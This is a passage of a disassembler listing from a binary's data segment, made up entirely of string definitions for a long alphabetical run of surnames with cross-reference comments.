'McFadden',0 ; DATA XREF: seg002:0043D000o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: seg002:0043CFFCo aMcdowell db 'Mcdowell',0 ; DATA XREF: seg002:0043CFF8o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: seg002:0043CFF4o align 10h aMccall db 'Mccall',0 ; DATA XREF: seg002:0043CFF0o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: seg002:0043CFECo align 4 aMcbride db 'Mcbride',0 ; DATA XREF: seg002:0043CFE8o aMazziotta db 'Mazziotta',0 ; DATA XREF: seg002:0043CFE4o align 4 aMazzali db 'Mazzali',0 ; DATA XREF: seg002:0043CFE0o aMay db 'May',0 ; DATA XREF: seg002:0043CFDCo aMauzy db 'Mauzy',0 ; DATA XREF: seg002:0043CFD8o align 4 aMattson db 'Mattson',0 ; DATA XREF: seg002:0043CFD4o aMatsukata db 'Matsukata',0 ; DATA XREF: seg002:0043CFD0o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: seg002:0043CFCCo align 4 aMatalka db 'Matalka',0 ; DATA XREF: seg002:0043CFC8o aMass db 'Mass',0 ; DATA XREF: seg002:0043CFC4o align 4 aMarubini db 'Marubini',0 ; DATA XREF: seg002:0043CFC0o align 4 aMarton db 'Marton',0 ; DATA XREF: seg002:0043CFBCo align 10h aMartochio db 'Martochio',0 ; DATA XREF: seg002:0043CFB8o align 4 aMartinez db 'Martinez',0 ; DATA XREF: seg002:0043CFB4o align 4 aMarques db 'Marques',0 ; DATA XREF: seg002:0043CFB0o aMargetts db 'Margetts',0 ; DATA XREF: seg002:0043CFACo align 4 aMargalit db 'Margalit',0 ; DATA XREF: seg002:0043CFA8o align 4 aMarcus db 'Marcus',0 ; DATA XREF: seg002:0043CFA4o align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: seg002:0043CFA0o align 4 aMarch db 'March',0 ; DATA XREF: seg002:0043CF9Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: seg002:0043CF98o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: seg002:0043CF94o aMandel db 'Mandel',0 ; DATA XREF: seg002:0043CF90o align 4 aManalis db 'Manalis',0 ; DATA XREF: seg002:0043CF8Co aMalova db 'Malova',0 ; DATA XREF: seg002:0043CF88o align 4 aMaller db 'Maller',0 ; DATA XREF: seg002:0043CF84o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: seg002:0043CF80o align 4 aMaisano db 'Maisano',0 ; DATA XREF: seg002:0043CF7Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: seg002:0043CF78o align 10h aMaier db 'Maier',0 ; DATA XREF: seg002:0043CF74o align 4 aMahony db 'Mahony',0 ; DATA XREF: seg002:0043CF70o align 10h aMaggio db 'Maggio',0 ; DATA XREF: seg002:0043CF6Co align 4 aMadigan db 'Madigan',0 ; DATA XREF: seg002:0043CF68o aMacy db 'Macy',0 ; DATA XREF: seg002:0043CF64o align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: seg002:0043CF60o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: seg002:0043CF5Co align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: seg002:0043CF58o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: seg002:0043CF54o align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: seg002:0043CF50o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: seg002:0043CF4Co align 10h aMa db 'Ma',0 ; DATA XREF: seg002:0043CF48o align 4 aLuzader db 'Luzader',0 ; DATA XREF: seg002:0043CF44o aLutcavage db 'Lutcavage',0 ; DATA XREF: seg002:0043CF40o align 4 aLussier db 'Lussier',0 ; DATA XREF: seg002:0043CF3Co aLuoma db 'Luoma',0 ; DATA XREF: seg002:0043CF38o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: seg002:0043CF34o aLuecke db 'Luecke',0 ; DATA XREF: seg002:0043CF30o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: seg002:0043CF2Co aLuciano db 'Luciano',0 ; DATA XREF: seg002:0043CF28o aLucas db 'Lucas',0 ; DATA XREF: seg002:0043CF24o align 10h aLubin db 'Lubin',0 ; DATA XREF: seg002:0043CF20o align 4 aLoza db 'Loza',0 ; DATA XREF: seg002:0043CF1Co align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: seg002:0043CF18o align 4 aLoveman db 'Loveman',0 ; DATA XREF: seg002:0043CF14o aLoss db 'Loss',0 ; DATA XREF: seg002:0043CF10o align 4 aLongworth db 'Longworth',0 ; DATA XREF: seg002:0043CF0Co align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: seg002:0043CF08o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: seg002:0043CF04o aLivolsi db 'Livolsi',0 ; DATA XREF: seg002:0043CF00o aLivi db 'Livi',0 ; DATA XREF: seg002:0043CEFCo align 4 aLivernash db 'Livernash',0 ; DATA XREF: seg002:0043CEF8o align 4 aLitvak db 'Litvak',0 ; DATA XREF: seg002:0043CEF4o align 10h aLittle db 'Little',0 ; DATA XREF: seg002:0043CEF0o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: seg002:0043CEECo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: seg002:0043CEE8o align 10h aLinzee db 'Linzee',0 ; DATA XREF: seg002:0043CEE4o align 4 aLinehan db 'Linehan',0 ; DATA XREF: seg002:0043CEE0o aLine db 'Line',0 ; DATA XREF: seg002:0043CEDCo align 4 aLinder db 'Linder',0 ; DATA XREF: seg002:0043CED8o align 10h aLinda db 'Linda',0 ; DATA XREF: seg002:0043CED4o align 4 aLinares db 'Linares',0 ; DATA XREF: seg002:0043CED0o aLim db 'Lim',0 ; DATA XREF: seg002:0043CECCo aLightfoot db 'Lightfoot',0 ; DATA XREF: seg002:0043CEC8o align 10h aLight db 'Light',0 ; DATA XREF: seg002:0043CEC4o align 4 aLiem db 'Liem',0 ; DATA XREF: seg002:0043CEC0o align 10h aLidano db 'Lidano',0 ; DATA XREF: seg002:0043CEBCo align 4 aLiakos db 'Liakos',0 ; DATA XREF: seg002:0043CEB8o align 10h aLessi db 'Lessi',0 ; DATA XREF: seg002:0043CEB4o align 4 aLesser db 'Lesser',0 ; DATA XREF: seg002:0043CEB0o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: seg002:0043CEACo align 4 aLenard db 'Lenard',0 ; DATA XREF: seg002:0043CEA8o align 4 aLeite db 'Leite',0 ; DATA XREF: seg002:0043CEA4o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: seg002:0043CEA0o align 4 aLecce db 'Lecce',0 ; DATA XREF: seg002:0043CE9Co align 10h aLecar db 'Lecar',0 ; DATA XREF: seg002:0043CE98o align 4 aLawless db 'Lawless',0 ; DATA XREF: seg002:0043CE94o aLashley db 'Lashley',0 ; DATA XREF: seg002:0043CE90o aLaserna db 'Laserna',0 ; DATA XREF: seg002:0043CE8Co aLanzit db 'Lanzit',0 ; DATA XREF: seg002:0043CE88o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: seg002:0043CE84o align 4 aLankes db 'Lankes',0 ; DATA XREF: seg002:0043CE80o align 4 aLandes db 'Landes',0 ; DATA XREF: seg002:0043CE7Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: seg002:0043CE78o align 10h aLaing db 'Laing',0 ; DATA XREF: seg002:0043CE74o align 4 aLafler db 'Lafler',0 ; DATA XREF: seg002:0043CE70o align 10h aLabunka db 'Labunka',0 ; DATA XREF: seg002:0043CE6Co aLa db 'La',0 ; DATA XREF: seg002:0043CE68o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: seg002:0043CE64o align 4 aKusman db 'Kusman',0 ; DATA XREF: seg002:0043CE60o align 10h aKumar db 'Kumar',0 ; DATA XREF: seg002:0043CE5Co align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: seg002:0043CE58o aKrysiak db 'Krysiak',0 ; DATA XREF: seg002:0043CE54o aKroemer db 'Kroemer',0 ; DATA XREF: seg002:0043CE50o aKraus db 'Kraus',0 ; DATA XREF: seg002:0043CE4Co align 4 aKrasney db 'Krasney',0 ; DATA XREF: seg002:0043CE48o aKrailo db 'Krailo',0 ; DATA XREF: seg002:0043CE44o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: seg002:0043CE40o aKovaks db 'Kovaks',0 ; DATA XREF: seg002:0043CE3Co align 4 aKotter db 'Kotter',0 ; DATA XREF: seg002:0043CE38o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: seg002:0043CE34o align 4 aKool db 'Kool',0 ; DATA XREF: seg002:0043CE30o align 4 aKonrad db 'Konrad',0 ; DATA XREF: seg002:0043CE2Co align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: seg002:0043CE28o align 4 aKommer db 'Kommer',0 ; DATA XREF: seg002:0043CE24o align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: seg002:0043CE20o align 4 aKohn db 'Kohn',0 ; DATA XREF: seg002:0043CE1Co align 4 aKoch db 'Koch',0 ; DATA XREF: seg002:0043CE18o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: seg002:0043CE14o aKnuff db 'Knuff',0 ; DATA XREF: seg002:0043CE10o align 4 aKlint db 'Klint',0 ; DATA XREF: seg002:0043CE0Co align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: seg002:0043CE08o aKling db 'Kling',0 ; DATA XREF: seg002:0043CE04o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: seg002:0043CE00o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: seg002:0043CDFCo aKleiman db 'Kleiman',0 ; DATA XREF: seg002:0043CDF8o aKleckner db 'Kleckner',0 ; DATA XREF: seg002:0043CDF4o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: seg002:0043CDF0o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: seg002:0043CDECo aKippenberger db 'Kippenberger',0 ; DATA XREF: seg002:0043CDE8o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: seg002:0043CDE4o aKindall db 'Kindall',0 ; DATA XREF: seg002:0043CDE0o aKimura db 'Kimura',0 ; DATA XREF: seg002:0043CDDCo align 10h aKimmett db 'Kimmett',0 ; DATA XREF: seg002:0043CDD8o aKimmel db 'Kimmel',0 ; DATA XREF: seg002:0043CDD4o align 10h aKhong db 'Khong',0 ; DATA XREF: seg002:0043CDD0o align 4 aKeul db 'Keul',0 ; DATA XREF: seg002:0043CDCCo align 10h aKerry db 'Kerry',0 ; DATA XREF: seg002:0043CDC8o align 4 aKendall db 'Kendall',0 ; DATA XREF: seg002:0043CDC4o aKemsley db 'Kemsley',0 ; DATA XREF: seg002:0043CDC0o aKempton db 'Kempton',0 ; DATA XREF: seg002:0043CDBCo aKelsey db 'Kelsey',0 ; DATA XREF: seg002:0043CDB8o align 4 aKelker db 'Kelker',0 ; DATA XREF: seg002:0043CDB4o align 10h aKeith db 'Keith',0 ; DATA XREF: seg002:0043CDB0o align 4 aKeepper db 'Keepper',0 ; DATA XREF: seg002:0043CDACo aKeenan db 'Keenan',0 ; DATA XREF: seg002:0043CDA8o align 4 aKee db 'Kee',0 ; DATA XREF: seg002:0043CDA4o aKawachi db 'Kawachi',0 ; DATA XREF: seg002:0043CDA0o aKasten db 'Kasten',0 ; DATA XREF: seg002:0043CD9Co align 4 aKassower db 'Kassower',0 ; DATA XREF: seg002:0043CD98o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: seg002:0043CD94o align 4 aKangis db 'Kangis',0 ; DATA XREF: seg002:0043CD90o align 4 aKamel db 'Kamel',0 ; DATA XREF: seg002:0043CD8Co align 4 aKalman db 'Kalman',0 ; DATA XREF: seg002:0043CD88o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: seg002:0043CD84o align 4 aKalil db 'Kalil',0 ; DATA XREF: seg002:0043CD80o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: seg002:0043CD7Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: seg002:0043CD78o aKafadar db 'Kafadar',0 ; DATA XREF: seg002:0043CD74o aKaboolian db 'Kaboolian',0 ; DATA XREF: seg002:0043CD70o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: seg002:0043CD6Co aJulious db 'Julious',0 ; DATA XREF: seg002:0043CD68o aJuliano db 'Juliano',0 ; DATA XREF: seg002:0043CD64o aJucks db 'Jucks',0 ; DATA XREF: seg002:0043CD60o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: seg002:0043CD5Co align 4 aJolly db 'Jolly',0 ; DATA XREF: seg002:0043CD58o align 10h aJohns db 'Johns',0 ; DATA XREF: seg002:0043CD54o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: seg002:0043CD50o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: seg002:0043CD4Co aJewett db 'Jewett',0 ; DATA XREF: seg002:0043CD48o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: seg002:0043CD44o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: seg002:0043CD40o aJellis db 'Jellis',0 ; DATA XREF: seg002:0043CD3Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: seg002:0043CD38o aJay db 'Jay',0 ; DATA XREF: seg002:0043CD34o aJarrell db 'Jarrell',0 ; DATA XREF: seg002:0043CD30o aJarnagin db 'Jarnagin',0 ; DATA XREF: seg002:0043CD2Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: seg002:0043CD28o align 10h aJamil db 'Jamil',0 ; DATA XREF: seg002:0043CD24o align 4 aJain db 'Jain',0 ; DATA XREF: seg002:0043CD20o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: seg002:0043CD1Co align 4 aJagger db 'Jagger',0 ; DATA XREF: seg002:0043CD18o align 10h aJagers db 'Jagers',0 ; DATA XREF: seg002:0043CD14o align 4 aJackson db 'Jackson',0 ; DATA XREF: seg002:0043CD10o aJacenko db 'Jacenko',0 ; DATA XREF: seg002:0043CD0Co aIyer db 'Iyer',0 ; DATA XREF: seg002:0043CD08o align 10h aIsserman db 'Isserman',0 ; DATA XREF: seg002:0043CD04o align 4 aIsbill db 'Isbill',0 ; DATA XREF: seg002:0043CD00o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: seg002:0043CCFCo align 10h aIsaac db 'Isaac',0 ; DATA XREF: seg002:0043CCF8o align 4 aInniss db 'Inniss',0 ; DATA XREF: seg002:0043CCF4o align 10h aInamura db 'Inamura',0 ; DATA XREF: seg002:0043CCF0o aIgarashi db 'Igarashi',0 ; DATA XREF: seg002:0043CCECo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: seg002:0043CCE8o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: seg002:0043CCE4o align 4 aHyde db 'Hyde',0 ; DATA XREF: seg002:0043CCE0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: seg002:0043CCDCo align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: seg002:0043CCD8o align 4 aHupp db 'Hupp',0 ; DATA XREF: seg002:0043CCD4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: seg002:0043CCD0o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: seg002:0043CCCCo align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: seg002:0043CCC8o align 4 aHuey db 'Huey',0 ; DATA XREF: seg002:0043CCC4o align 10h aHoy db 'Hoy',0 ; DATA XREF: seg002:0043CCC0o aHoward db 'Howard',0 ; DATA XREF: seg002:0043CCBCo align 4 aHottle db 'Hottle',0 ; DATA XREF: seg002:0043CCB8o align 4 aHostage db 'Hostage',0 ; DATA XREF: seg002:0043CCB4o aHoshida db 'Hoshida',0 ; DATA XREF: seg002:0043CCB0o aHorsley db 'Horsley',0 ; DATA XREF: seg002:0043CCACo aHopkins db 'Hopkins',0 ; DATA XREF: seg002:0043CCA8o aHooker db 'Hooker',0 ; DATA XREF: seg002:0043CCA4o align 4 aHolzman db 'Holzman',0 ; DATA XREF: seg002:0043CCA0o aHolway db 'Holway',0 ; DATA XREF: seg002:0043CC9Co align 4 aHolter db 'Holter',0 ; DATA XREF: seg002:0043CC98o align 4 aHoloien db 'Holoien',0 ; DATA XREF: seg002:0043CC94o aHolmes db 'Holmes',0 ; DATA XREF: seg002:0043CC90o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: seg002:0043CC8Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: seg002:0043CC88o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: seg002:0043CC84o aHoffer db 'Hoffer',0 ; DATA XREF: seg002:0043CC80o align 4 aHock db 'Hock',0 ; DATA XREF: seg002:0043CC7Co align 10h aHoang db 'Hoang',0 ; DATA XREF: seg002:0043CC78o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: seg002:0043CC74o align 4 aHirst db 'Hirst',0 ; DATA XREF: seg002:0043CC70o align 4 aHind db 'Hind',0 ; DATA XREF: seg002:0043CC6Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: seg002:0043CC68o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: seg002:0043CC64o align 4 aHeubert db 'Heubert',0 ; DATA XREF: seg002:0043CC60o aHester db 'Hester',0 ; DATA XREF: seg002:0043CC5Co align 4 aHerrera db 'Herrera',0 ; DATA XREF: seg002:0043CC58o aHernandez db 'Hernandez',0 ; DATA XREF: seg002:0043CC54o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: seg002:0043CC50o align 4 aHenery db 'Henery',0 ; DATA XREF: seg002:0043CC4Co align 10h aHemphill db 'Hemphill',0 ; DATA XREF: seg002:0043CC48o align 4 aHelprin db 'Helprin',0 ; DATA XREF: seg002:0043CC44o aHellmiss db 'Hellmiss',0 ; DATA XREF: seg002:0043CC40o align 10h aHellman db 'Hellman',0 ; DATA XREF: seg002:0043CC3Co aHeiland db 'Heiland',0 ; DATA XREF: seg002:0043CC38o aHeft db 'Heft',0 ; DATA XREF: seg002:0043CC34o align 4 aHeermans db 'Heermans',0 ; DATA XREF: seg002:0043CC30o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: seg002:0043CC2Co align 10h aHaynes db 'Haynes',0 ; DATA XREF: seg002:0043CC28o align 4 aHayes db 'Hayes',0 ; DATA XREF: seg002:0043CC24o align 10h aHawkes db 'Hawkes',0 ; DATA XREF: seg002:0043CC20o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: seg002:0043CC1Co align 4 aHarwell db 'Harwell',0 ; DATA XREF: seg002:0043CC18o aHartnett db 'Hartnett',0 ; DATA XREF: seg002:0043CC14o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: seg002:0043CC10o align 4 aHartman db 'Hartman',0 ; DATA XREF: seg002:0043CC0Co aHarrigan db 'Harrigan',0 ; DATA XREF: seg002:0043CC08o align 4 aHarlow db 'Harlow',0 ; DATA XREF: seg002:0043CC04o align 10h aHargraves db 'Hargraves',0 ; DATA XREF: seg002:0043CC00o align 4 aHarding db 'Harding',0 ; DATA XREF: seg002:0043CBFCo aHanssen db 'Hanssen',0 ; DATA XREF: seg002:0043CBF8o aHand db 'Hand',0 ; DATA XREF: seg002:0043CBF4o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: seg002:0043CBF0o align 10h aHamer db 'Hamer',0 ; DATA XREF: seg002:0043CBECo align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: seg002:0043CBE8o align 4 aHalpert db 'Halpert',0 ; DATA XREF: seg002:0043CBE4o aHallowell db 'Hallowell',0 ; DATA XREF: seg002:0043CBE0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: seg002:0043CBDCo aHaley db 'Haley',0 ; DATA XREF: seg002:0043CBD8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: seg002:0043CBD4o align 4 aHackman db 'Hackman',0 ; DATA XREF: seg002:0043CBD0o aHaar db 'Haar',0 ; DATA XREF: seg002:0043CBCCo align 4 aHa db 'Ha',0 ; DATA XREF: seg002:0043CBC8o align 4 aGuo db 'Guo',0 ; DATA XREF: seg002:0043CBC4o aGunn db 'Gunn',0 ; DATA XREF: seg002:0043CBC0o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: seg002:0043CBBCo align 4 aGruppe db 'Gruppe',0 ; DATA XREF: seg002:0043CBB8o align 4 aGruner db 'Gruner',0 ; DATA XREF: seg002:0043CBB4o align 4 aGrummell db 'Grummell',0 ; DATA XREF: seg002:0043CBB0o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: seg002:0043CBACo align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: seg002:0043CBA8o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: seg002:0043CBA4o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: seg002:0043CBA0o align 10h aGravell db 'Gravell',0 ; DATA XREF: seg002:0043CB9Co aGozzi db 'Gozzi',0 ; DATA XREF: seg002:0043CB98o align 10h aGoody db 'Goody',0 ; DATA XREF: seg002:0043CB94o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: seg002:0043CB90o align 4 aGood db 'Good',0 ; DATA XREF: seg002:0043CB8Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: seg002:0043CB88o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: seg002:0043CB84o align 4 aGlendon db 'Glendon',0 ; DATA XREF: seg002:0043CB80o aGlegg db 'Glegg',0 ; DATA XREF: seg002:0043CB7Co align 4 aGleason db 'Gleason',0 ; DATA XREF: seg002:0043CB78o aGist db 'Gist',0 ; DATA XREF: seg002:0043CB74o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: seg002:0043CB70o align 10h aGill db 'Gill',0 ; DATA XREF: seg002:0043CB6Co align 4 aGili db 'Gili',0 ; DATA XREF: seg002:0043CB68o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: seg002:0043CB64o aGibson db 'Gibson',0 ; DATA XREF: seg002:0043CB60o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: seg002:0043CB5Co aGhorai db 'Ghorai',0 ; DATA XREF: seg002:0043CB58o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: seg002:0043CB54o aGeorgi db 'Georgi',0 ; DATA XREF: seg002:0043CB50o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: seg002:0043CB4Co align 4 aGeller db 'Geller',0 ; DATA XREF: seg002:0043CB48o align 4 aGaronna db 'Garonna',0 ; DATA XREF: seg002:0043CB44o aGarman db 'Garman',0 ; DATA XREF: seg002:0043CB40o align 4 aGarfield db 'Garfield',0 ; DATA XREF: seg002:0043CB3Co align 10h aGambini db 'Gambini',0 ; DATA XREF: seg002:0043CB38o aGalwey db 'Galwey',0 ; DATA XREF: seg002:0043CB34o align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: seg002:0043CB30o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: seg002:0043CB2Co align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: seg002:0043CB28o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: seg002:0043CB24o align 4 aFurth db 'Furth',0 ; DATA XREF: seg002:0043CB20o align 4 aFuller db 'Fuller',0 ; DATA XREF: seg002:0043CB1Co align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: seg002:0043CB18o align 4 aFrye db 'Frye',0 ; DATA XREF: seg002:0043CB14o align 10h aFryberger db 'Fryberger',0 ; DATA XREF: seg002:0043CB10o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: seg002:0043CB0Co aFrisken db 'Frisken',0 ; DATA XREF: seg002:0043CB08o aFriedland db 'Friedland',0 ; DATA XREF: seg002:0043CB04o align 4 aFried db 'Fried',0 ; DATA XREF: seg002:0043CB00o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: seg002:0043CAFCo align 4 aFreid db 'Freid',0 ; DATA XREF: seg002:0043CAF8o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: seg002:0043CAF4o align 4 aFranz db 'Franz',0 ; DATA XREF: seg002:0043CAF0o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: seg002:0043CAECo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: seg002:0043CAE8o align 4 aFossi db 'Fossi',0 ; DATA XREF: seg002:0043CAE4o align 10h aFossey db 'Fossey',0 ; DATA XREF: seg002:0043CAE0o align 4 aFortier db 'Fortier',0 ; DATA XREF: seg002:0043CADCo aFortes db 'Fortes',0 ; DATA XREF: seg002:0043CAD8o align 4 aForester db 'Forester',0 ; DATA XREF: seg002:0043CAD4o align 4 aFolks db 'Folks',0 ; DATA XREF: seg002:0043CAD0o align 4 aFlores db 'Flores',0 ; DATA XREF: seg002:0043CACCo align 4 aFlier db 'Flier',0 ; DATA XREF: seg002:0043CAC8o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: seg002:0043CAC4o aFisk db 'Fisk',0 ; DATA XREF: seg002:0043CAC0o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: seg002:0043CABCo aFinnegan db 'Finnegan',0 ; DATA XREF: seg002:0043CAB8o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: seg002:0043CAB4o aFink db 'Fink',0 ; DATA XREF: seg002:0043CAB0o align 4 aField db 'Field',0 ; DATA XREF: seg002:0043CAACo align 10h aFido db 'Fido',0 ; DATA XREF: seg002:0043CAA8o align 4 aFeuer db 'Feuer',0 ; DATA XREF: seg002:0043CAA4o align 10h aFerriell db 'Ferriell',0 ; DATA XREF: seg002:0043CAA0o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: seg002:0043CA9Co align 4 aFernandes db 'Fernandes',0 ; DATA XREF: seg002:0043CA98o align 4 aFernald db 'Fernald',0 ; DATA XREF: seg002:0043CA94o aFeldman db 'Feldman',0 ; DATA XREF: seg002:0043CA90o aFejzo db 'Fejzo',0 ; DATA XREF: seg002:0043CA8Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: seg002:0043CA88o align 4 aFates db 'Fates',0 ; DATA XREF: seg002:0043CA84o align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: seg002:0043CA80o align 4 aFarren db 'Farren',0 ; DATA XREF: seg002:0043CA7Co align 10h aFarone db 'Farone',0 ; DATA XREF: seg002:0043CA78o align 4 aFaris db 'Faris',0 ; DATA XREF: seg002:0043CA74o align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: seg002:0043CA70o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: seg002:0043CA6Co align 4 aFaioes db 'Faioes',0 ; DATA XREF: seg002:0043CA68o align 10h aFagan db 'Fagan',0 ; DATA XREF: seg002:0043CA64o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: seg002:0043CA60o aEverett db 'Everett',0 ; DATA XREF: seg002:0043CA5Co aEuripides db 'Euripides',0 ; DATA XREF: seg002:0043CA58o align 4 aEtter db 'Etter',0 ; DATA XREF: seg002:0043CA54o align 4 aEstes db 'Estes',0 ; DATA XREF: seg002:0043CA50o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: seg002:0043CA4Co align 10h aErez db 'Erez',0 ; DATA XREF: seg002:0043CA48o align 4 aErdos db 'Erdos',0 ; DATA XREF: seg002:0043CA44o align 10h aErdman db 'Erdman',0 ; DATA XREF: seg002:0043CA40o align 4 aErbach db 'Erbach',0 ; DATA XREF: seg002:0043CA3Co align 10h aEppling db 'Eppling',0 ; DATA XREF: seg002:0043CA38o aEnyeart db 'Enyeart',0 ; DATA XREF: seg002:0043CA34o aEncinas db 'Encinas',0 ; DATA XREF: seg002:0043CA30o aElvis db 'Elvis',0 ; DATA XREF: seg002:0043CA2Co align 10h aElmerick db 'Elmerick',0 ; DATA XREF: seg002:0043CA28o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: seg002:0043CA24o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: seg002:0043CA20o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: seg002:0043CA1Co aEdward db 'Edward',0 ; DATA XREF: seg002:0043CA18o align 4 aEdner db 'Edner',0 ; DATA XREF: seg002:0043CA14o align 10h aEdley db 'Edley',0 ; DATA XREF: seg002:0043CA10o align 4 aEckel db 'Eckel',0 ; DATA XREF: seg002:0043CA0Co align 10h aEbeling db 'Ebeling',0 ; DATA XREF: seg002:0043CA08o aEardley db 'Eardley',0 ; DATA XREF: seg002:0043CA04o aDwyer db 'Dwyer',0 ; DATA XREF: seg002:0043CA00o align 4 aDussault db 'Dussault',0 ; DATA XREF: seg002:0043C9FCo align 4 aDurrett db 'Durrett',0 ; DATA XREF: seg002:0043C9F8o aDuffin db 'Duffin',0 ; DATA XREF: seg002:0043C9F4o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: seg002:0043C9F0o aDrinker db 'Drinker',0 ; DATA XREF: seg002:0043C9ECo aDowsland db 'Dowsland',0 ; DATA XREF: seg002:0043C9E8o align 10h aDoug db 'Doug',0 ; DATA XREF: seg002:0043C9E4o align 4 aDoty db 'Doty',0 ; DATA XREF: seg002:0043C9E0o align 10h aDosi db 'Dosi',0 ; DATA XREF: seg002:0043C9DCo align 4 aDorf db 'Dorf',0 ; DATA XREF: seg002:0043C9D8o align 10h aDore db 'Dore',0 ; DATA XREF: seg002:0043C9D4o align 4 aDoonan db 'Doonan',0 ; DATA XREF: seg002:0043C9D0o align 10h aDonner db 'Donner',0 ; DATA XREF: seg002:0043C9CCo align 4 aDonahue db 'Donahue',0 ; DATA XREF: seg002:0043C9C8o aDoherty db 'Doherty',0 